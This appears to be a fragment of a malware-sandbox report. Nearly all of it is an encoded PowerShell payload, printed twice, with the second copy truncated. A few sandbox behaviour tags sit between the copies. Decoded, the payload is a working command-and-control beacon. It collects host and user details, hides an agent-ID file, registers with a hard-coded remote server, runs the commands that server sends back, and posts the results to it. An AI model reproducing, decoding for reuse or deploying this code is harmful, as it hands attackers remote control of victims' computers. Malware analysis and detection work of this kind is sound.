ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAFAAQQBkAGQAcgBlAHMAcwAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAGkAcAAgAD0AIAAoAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAiAGgAdAB0AHAAcwA6AC8ALwBhAHAAaQAuAGkAcABpAGYAeQAuAG8AcgBnAD8AZgBvAHIAbQBhAHQAPQB0AGUAeAB0ACIAIAAtAFUAcwBlAHIAQQBnAGUAbgB0ACAAIgBNAG8AegBpAGwAbABhAC8ANQAuADAAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAApAC4AVAByAGkAbQAoACkACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAGkAcAAKACAAIAAgACAAfQAKACAAIAAgACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACIAVQBuAGsAbgBvAHcAbgAgAEkAUAAiAAoAIAAgACAAIAB9AAoAfQAKAGYAdQBuAGMAdABpAG8AbgAgAFMAdABhAHIAdAAtAEEAZAB2AGEAbgBjAGUAZABCAGUAYQBjAG8AbgAgAHsACgAgACAAIAAgAFsAQwBtAGQAbABlAHQAQgBpAG4AZABpAG4AZwAoACkAXQAKACAAIAAgACAAcABhAHIAYQBtACAAKAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAEMAMgBVAHIAbAAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAZgBhAGwAcwBlACkAXQAKACAAIAAgACAAIAAgACAAIABbAGkAbgB0AF0AJABTAGwAZQBlAHAAVABpAG0AZQAgAD0AIAA1ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJABmAGEAbABzAGUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAVgBhAGwAaQBkAGEAdABlAFIAYQBuAGcAZQAoADAALAAxADAAMAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBpAG4AdABdACQASgBpAHQAdABlAHIAIAA9ACAAMQA1ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJABmAGEAbABzAGUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAFUAcwBlAHIAQQBnAGUAbgB0ACAAPQAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAEsASABUAE0ATAAsACAAbABpAGsAZQAgAEcAZQBjAGsAbwApACAAQwBoAHIAbwBtAGUALwA5ADEALgAwAC4ANAA0ADcAMgAuADEAMgA0ACAAUwBhAGYAYQByAGkALwA1ADMANwAuADMANgAiAAoAIAAgACAAIAApAAoAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABJAG4AdgBvAGsAZQAtAEQAbwB0AE4AZQB0AFMAaABlAGwAbAAgAHsACgAgACAAIAAgACAAIAAgACAAcABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBdACQAQwBvAG0AbQBhAG4AZAApAAoAIAAgACAAIAAgACAAIAAgACQAUgBlAHMAdQBsAHQATwBiAGoAZQBjAHQAIAA9ACAAQAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAATwB1AHQAcAB1AHQAIAA9ACAAIgAiAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAARQByAHIAbwByACAAIAA9ACAAJABmAGEAbABzAGUACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFAAUwBJAG4AcwB0AGEAbgBjAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AUABvAHcAZQByAFMAaABlAGwAbABdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAHYAbwBpAGQAXQAkAFAAUwBJAG4AcwB0AGEAbgBjAGUALgBBAGQAZABTAGMAcgBpAHAAdAAoACQAQwBvAG0AbQBhAG4AZAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABPAHUAdABwAHUAdABDAG8AbABsAGUAYwB0AGkAbwBuACAAPQAgACQAUABTAEkAbgBzAHQAYQBuAGMAZQAuAEkAbgB2AG8AawBlACgAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABPAHUAdABwAHUAdABDAG8AbABsAGUAYwB0AGkAbwBuACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAE8AdQB0AHAAdQB0AFMAdAByAGkAbgBnACAAPQAgACgAJABPAHUAdABwAHUAdABDAG8AbABsAGUAYwB0AGkAbwBuACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAKQAuAFQAcgBpAG0AKAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAE8AdQB0AHAAdQB0AFMAdAByAGkAbgBnACAAPQAgACIAQwBvAG0AbQBhAG4AZAAgAGUAeABlAGMAdQB0AGUAZAAgAHcAaQB0AGgAIABuAG8AIABvAHUAdABwAHUAdAAuACIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAFAAUwBJAG4AcwB0AGEAbgBjAGUALgBTAHQAcgBlAGEAbQBzAC4ARQByAHIAbwByAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEUAcgByAG8AcgBTAHQAcgBpAG4AZwAgAD0AIAAoACQAUABTAEkAbgBzAHQAYQBuAGMAZQAuAFMAdAByAGUAYQBtAHMALgBFAHIAcgBvAHIAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwApAC4AVAByAGkAbQAoACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUgBlAHMAdQBsAHQATwBiAGoAZQBjAHQALgBPAHUAdABwAHUAdAAgAD0AIAAiACQATwB1AHQAcAB1AHQAUwB0AHIAaQBuAGcAYABuAFsARQBSAFIATwBSACAAUwBUAFIARQBBAE0AXQA6AGAAbgAkAEUAcgByAG8AcgBTAHQAcgBpAG4AZwAiAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFIAZQBzAHUAbAB0AE8AYgBqAGUAYwB0AC4ARQByAHIAbwByACAAPQAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABSAGUAcwB1AGwAdABPAGIAagBlAGMAdAAuAE8AdQB0AHAAdQB0ACAAPQAgACQATwB1AHQAcAB1AHQAUwB0AHIAaQBuAGcACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABQAFMASQBuAHMAdABhAG4AYwBlAC4ARABpAHMAcABvAHMAZQAoACkACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIABjAGEAdABjAGgAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABSAGUAcwB1AGwAdABPAGIAagBlAGMAdAAuAE8AdQB0AHAAdQB0ACAAPQAgACIARQB4AGUAYwB1AHQAaQBvAG4AIABFAG4AZwBpAG4AZQAgAEYAYQBpAGwAZQBkADoAIAAkACgAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlACkAIgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUgBlAHMAdQBsAHQATwBiAGoAZQBjAHQALgBFAHIAcgBvAHIAIAA9ACAAJAB0AHIAdQBlAAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAFIAZQBzAHUAbAB0AE8AYgBqAGUAYwB0AAoAIAAgACAAIAB9AAoAIAAgACAAIAAkAEMAbwBuAGYAaQBnAFAAYQB0AGgAIAA9ACAAIgBDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAEwAaQBiAHIAYQByAGkAZQBzAFwAQwBhAGMAaABlAGQAUwBlAHQAdABpAG4AZwBzAC4AagBzAG8AbgAiAAoAIAAgACAAIAAkAEEAZwBlAG4AdABJAEQAIAAgACAAIAA9ACAAJABuAHUAbABsAAoAIAAgACAAIAAkAEkAcwBOAGUAdwBBAGcAZQBuAHQAIAA9ACAAJABmAGEAbABzAGUACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEMAbwBuAGYAaQBnAFAAYQB0AGgAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABDAG8AbgBmAGkAZwAgAD0AIABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAEMAbwBuAGYAaQBnAFAAYQB0AGgAIAB8ACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0ASgBzAG8AbgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQQBnAGUAbgB0AEkARAAgAD0AIAAkAEMAbwBuAGYAaQBnAC4AQQBnAGUAbgB0AEkARAAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAAgAHsAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKABbAHMAdAByAGkAbgBnAF0AOgA6AEkAcwBOAHUAbABsAE8AcgBXAGgAaQB0AGUAUwBwAGEAYwBlACgAJABBAGcAZQBuAHQASQBEACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABBAGcAZQBuAHQASQBEACAAPQAgAFsARwB1AGkAZABdADoAOgBOAGUAdwBHAHUAaQBkACgAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkACgAgACAAIAAgACAAIAAgACAAJABJAHMATgBlAHcAQQBnAGUAbgB0ACAAPQAgACQAdAByAHUAZQAKACAAIAAgACAAfQAKACAAIAAgACAAJABlAHgAcABsAG8AcgBlAHIAVQBzAGUAcgAgAD0AIAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAEMAbwBtAHAAdQB0AGUAcgBTAHkAcwB0AGUAbQApAC4AVQBzAGUAcgBOAGEAbQBlAAoAIAAgACAAIAAkAEgAbwBzAHQAbgBhAG0AZQAgAD0AIAAkAGUAeABwAGwAbwByAGUAcgBVAHMAZQByAC4AUwBwAGwAaQB0ACgAIgBcACIAKQBbADAAXQAKACAAIAAgACAAJABVAHMAZQByAG4AYQBtAGUAIAA9ACAAJABlAHgAcABsAG8AcgBlAHIAVQBzAGUAcgAuAFMAcABsAGkAdAAoACIAXAAiACkAWwAxAF0ACgAgACAAIAAgACQATwBTAE4AYQBtAGUAIAA9ACAAWwBzAHQAcgBpAG4AZwBdACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgAKACAAIAAgACAAJABBAHIAYwBoACAAIAAgAD0AIABbAHMAdAByAGkAbgBnAF0AKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAC0AQwBsAGEAcwBzAE4AYQBtAGUAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgApAC4ATgBhAG0AZQAKACAAIAAgACAAJABIAGUAYQBkAGUAcgBzACAAPQAgAEAAewAKACAAIAAgACAAIAAgACAAIAAiAFgALQBBAGcAZQBuAHQALQBJAEQAIgAgAD0AIAAkAEEAZwBlAG4AdABJAEQACgAgACAAIAAgACAAIAAgACAAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIAIAA9ACAAJABVAHMAZQByAEEAZwBlAG4AdAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAkAEkAcwBOAGUAdwBBAGcAZQBuAHQAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABJAFAAQQBkAGQAcgBlAHMAcwAgAD0AIABHAGUAdAAtAEkAUABBAGQAZAByAGUAcwBzACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACQAUgBlAGcAUABhAHkAbABvAGEAZAAgAD0AIABAAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABUAHkAcABlACAAIAAgACAAIAAgAD0AIAAiAFIAZQBnAGkAcwB0AHIAYQB0AGkAbwBuACIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGcAZQBuAHQASQBEACAAIAAgAD0AIAAkAEEAZwBlAG4AdABJAEQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABIAG8AcwB0AG4AYQBtAGUAIAAgAD0AIAAkAEgAbwBzAHQAbgBhAG0AZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFUAcwBlAHIAbgBhAG0AZQAgACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAATwBTACAAIAAgACAAIAAgACAAIAA9ACAAJABPAFMATgBhAG0AZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEEAcgBjAGgAIAAgACAAIAAgACAAPQAgACQAQQByAGMAaAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAUAAgACAAIAAgACAAIAAgACAAPQAgACQASQBQAEEAZABkAHIAZQBzAHMACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABQAEkARAAgACAAIAAgACAAIAAgAD0AIAAkAFAASQBEAAoAIAAgACAAIAAgACAAIAAgAH0AIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACAALQBEAGUAcAB0AGgAIAAyAAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHcAaABpAGwAZQAgACgAJAB0AHIAdQBlACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHIAaQAgACIAJABDADIAVQByAGwALwByAGUAZwBpAHMAdABlAHIAIgAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBCAG8AZAB5ACAAJABSAGUAZwBQAGEAeQBsAG8AYQBkACAALQBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgAgAC0ASABlAGEAZABlAHIAcwAgACQASABlAGEAZABlAHIAcwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABiAHIAZQBhAGsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANgAwAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUwB0AGEAdABlAEQAYQB0AGEAIAA9ACAAQAB7ACAAQQBnAGUAbgB0AEkARAAgAD0AIAAkAEEAZwBlAG4AdABJAEQAOwAgAFIAZQBnAGkAcwB0AGUAcgBlAGQAQQB0ACAAPQAgACgARwBlAHQALQBEAGEAdABlACkAIAB9ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUABhAHIAZQBuAHQARABpAHIAIAA9ACAAUwBwAGwAaQB0AC0AUABhAHQAaAAgACQAQwBvAG4AZgBpAGcAUABhAHQAaAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAFAAYQByAGUAbgB0AEQAaQByACkAKQAgAHsAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAFAAYQByAGUAbgB0AEQAaQByACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFMAdABhAHQAZQBEAGEAdABhACAAfAAgAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAQwBvAG4AZgBpAGcAUABhAHQAaAAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABHAGUAdAAtAEkAdABlAG0AIAAkAEMAbwBuAGYAaQBnAFAAYQB0AGgAKQAuAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA9ACAAIgBIAGkAZABkAGUAbgAiAAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABSAGUAcwBwAG8AbgBzAGUAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHIAaQAgACIAJABDADIAVQByAGwALwB0AGEAcwBrAHMAIgAgAC0ATQBlAHQAaABvAGQAIABHAGUAdAAgAC0ASABlAGEAZABlAHIAcwAgACQASABlAGEAZABlAHIAcwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIAVwBoAGkAdABlAFMAcABhAGMAZQAoACQAUgBlAHMAcABvAG4AcwBlAC4AQwBvAG0AbQBhAG4AZAApACAALQBhAG4AZAAgACQAUgBlAHMAcABvAG4AcwBlAC4AQwBvAG0AbQBhAG4AZAAgAC0AbgBlACAAIgBOAG8ATwBwACIAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAVABhAHMAawBJAEQAIAA9ACAAJABSAGUAcwBwAG8AbgBzAGUALgBUAGEAcwBrAEkARAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABDAG0AZABTAHQAcgBpAG4AZwAgAD0AIAAkAFIAZQBzAHAAbwBuAHMAZQAuAEMAbwBtAG0AYQBuAGQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQARQB4AGUAYwBSAGUAcwB1AGwAdAAgAD0AIABJAG4AdgBvAGsAZQAtAEQAbwB0AE4AZQB0AFMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACQAQwBtAGQAUwB0AHIAaQBuAGcACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUgBlAHMAdQBsAHQAUABhAHkAbABvAGEAZAAgAD0AIABAAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQQBnAGUAbgB0AEkARAAgAD0AIAAkAEEAZwBlAG4AdABJAEQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVABhAHMAawBJAEQAIAAgAD0AIAAkAFQAYQBzAGsASQBEAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBzAHUAbAB0ACAAIAA9ACAAJABFAHgAZQBjAFIAZQBzAHUAbAB0AC4ATwB1AHQAcAB1AHQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAdAB1AHMAIAAgAD0AIABpAGYAIAAoACQARQB4AGUAYwBSAGUAcwB1AGwAdAAuAEUAcgByAG8AcgApACAAewAgACIARQByAHIAbwByACIAIAB9ACAAZQBsAHMAZQAgAHsAIAAiAEMAbwBtAHAAbABlAHQAZQBkACIAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0ARABlAHAAdABoACAANQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHIAaQAgACIAJABDADIAVQByAGwALwByAGUAcwB1AGwAdABzACIAIAAtAE0AZQB0AGgAbwBkACAAUABvAHMAdAAgAC0AQgBvAGQAeQAgACQAUgBlAHMAdQBsAHQAUABhAHkAbABvAGEAZAAgAC0AQwBvAG4AdABlAG4AdABUAHkAcABlACAAIgBhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwBqAHMAbwBuACIAIAAtAEgAZQBhAGQAZQByAHMAIAAkAEgAZQBhAGQAZQByAHMACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAewB9AAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABKAGkAdAB0AGUAcgAgAC0AZwB0ACAAMAApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQASgBpAHQAdABlAHIAVgBhAGwAIAA9ACAAJABTAGwAZQBlAHAAVABpAG0AZQAgACoAIAAoACQASgBpAHQAdABlAHIAIAAvACAAMQAwADAAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUgBhAG4AZABvAG0ARABpAGYAZgAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgAgACgALQAxACAAKgAgACQASgBpAHQAdABlAHIAVgBhAGwAKQAgAC0ATQBhAHgAIAAkAEoAaQB0AHQAZQByAFYAYQBsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABBAGMAdAB1AGEAbABTAGwAZQBlAHAAIAA9ACAAWwBtAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAUwBsAGUAZQBwAFQAaQBtAGUAIAArACAAJABSAGEAbgBkAG8AbQBEAGkAZgBmACwAIAAyACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAQQBjAHQAdQBhAGwAUwBsAGUAZQBwACAALQBsAHQAIAAxACkAIAB7ACAAJABBAGMAdAB1AGEAbABTAGwAZQBlAHAAIAA9ACAAMQAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQQBjAHQAdQBhAGwAUwBsAGUAZQBwACAAPQAgACQAUwBsAGUAZQBwAFQAaQBtAGUACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAkAEEAYwB0AHUAYQBsAFMAbABlAGUAcAAKACAAIAAgACAAfQAKAH0ACgAkAFQAYQByAGcAZQB0AEMAMgAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB0AGgAZQBsAG8AdgBlAG8AZgB0AGgAZQAuAGMAbwBtACIAIAAKAFMAdABhAHIAdAAtAEEAZAB2AGEAbgBjAGUAZABCAGUAYQBjAG8AbgAgAC0AQwAyAFUAcgBsACAAJABUAGEAcgBnAGUAdABDADIAIAAtAFMAbABlAGUAcABUAGkAbQBlACAAMwA1ADAAIAAtAEoAaQB0AHQAZQByACAAMgAwAA==}
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1508
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAFAAQQBkAGQAcgBlAHMAcwAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAGkAcAAgAD0AIAAoAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAiAGgAdAB0AHAAcwA6AC8ALwBhAHAAaQAuAGkAcABpAGYAeQAuAG8AcgBnAD8AZgBvAHIAbQBhAHQAPQB0AGUAeAB0ACIAIAAtAFUAcwBlAHIAQQBnAGUAbgB0ACAAIgBNAG8AegBpAGwAbABhAC8ANQAuADAAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAApAC4AVAByAGkAbQAoACkACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAGkAcAAKACAAIAAgACAAfQAKACAAIAAgACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACIAVQBuAGsAbgBvAHcAbgAgAEkAUAAiAAoAIAAgACAAIAB9AAoAfQAKAGYAdQBuAGMAdABpAG8AbgAgAFMAdABhAHIAdAAtAEEAZAB2AGEAbgBjAGUAZABCAGUAYQBjAG8AbgAgAHsACgAgACAAIAAgAFsAQwBtAGQAbABlAHQAQgBpAG4AZABpAG4AZwAoACkAXQAKACAAIAAgACAAcABhAHIAYQBtACAAKAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAEMAMgBVAHIAbAAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAZgBhAGwAcwBlACkAXQAKACAAIAAgACAAIAAgACAAIABbAGkAbgB0AF0AJABTAGwAZQBlAHAAVABpAG0AZQAgAD0AIAA1ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJABmAGEAbABzAGUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAVgBhAGwAaQBkAGEAdABlAFIAYQBuAGcAZQAoADAALAAxADAAMAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBpAG4AdABdACQASgBpAHQAdABlAHIAIAA9ACAAMQA1ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJABmAGEAbABzAGUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAFUAcwBlAHIAQQBnAGUAbgB0ACAAPQAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAEsASABUAE0ATAAsACAAbABpAGsAZQAgAEcAZQBjAGsAbwApACAAQwBoAHIAbwBtAGUALwA5ADEALgAwAC4ANAA0ADcAMgAuADEAMgA0ACAAUwBhAGYAYQByAGkALwA1ADMANwAuADMANgAiAAoAIAAgACAAIAApAAoAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABJAG4AdgBvAGsAZQAtAEQAbwB0AE4AZQB0AFMAaABlAGw